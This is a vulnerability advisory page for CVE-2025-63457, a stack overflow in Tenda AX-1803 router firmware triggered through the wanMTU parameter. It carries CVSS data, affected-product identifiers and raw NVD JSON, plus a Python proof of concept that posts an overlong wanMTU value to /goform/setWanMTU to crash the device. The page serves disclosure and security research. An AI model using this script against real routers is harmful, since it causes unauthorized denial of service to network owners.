Security Vulnerability Report
中文
CVE-2025-63457 CVSS 7.5 HIGH

CVE-2025-63457

Published: 2025-11-10 17:15:35
Last Modified: 2025-11-18 17:16:09

Description

Tenda AX-1803 v1.0.0.1 was discovered to contain a stack overflow via the wanMTU parameter in the sub_4F55C function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AX-1803 v1.0.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63457 PoC - Tenda AX-1803 Stack Overflow via wanMTU parameter This PoC demonstrates the stack overflow vulnerability in Tenda AX-1803 v1.0.0.1 """ import requests import sys TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 PAYLOAD_SIZE = 1000 # Overflow payload size def create_exploit_payload(): """Generate overflow payload for wanMTU parameter""" # Create a long string to overflow the stack buffer overflow_string = "A" * PAYLOAD_SIZE return overflow_string def check_vulnerability(): """Check if target is vulnerable""" target_url = f"http://{TARGET_IP}:{TARGET_PORT}/goform/setWanMTU" payload = { "wanMTU": create_exploit_payload() } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {PAYLOAD_SIZE} bytes") response = requests.post(target_url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully") print("[!] If device becomes unresponsive, vulnerability is confirmed") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed (DoS triggered)") except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be down (DoS triggered)") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63457", "sourceIdentifier": "[email protected]", "published": "2025-11-10T17:15:35.100", "lastModified": "2025-11-18T17:16:09.427", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1803 v1.0.0.1 was discovered to contain a stack overflow via the wanMTU parameter in the sub_4F55C function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Se descubrió que Tenda AX-1803 v1.0.0.1 contenía un desbordamiento de pila a través del parámetro wanMTU en la función sub_4F55C. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "B81C53EE-14CD-426B-ADF3-6D9B4D69DC84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "413B93A8-6188-4D89-8141-C5B73F4AA071"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/1/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}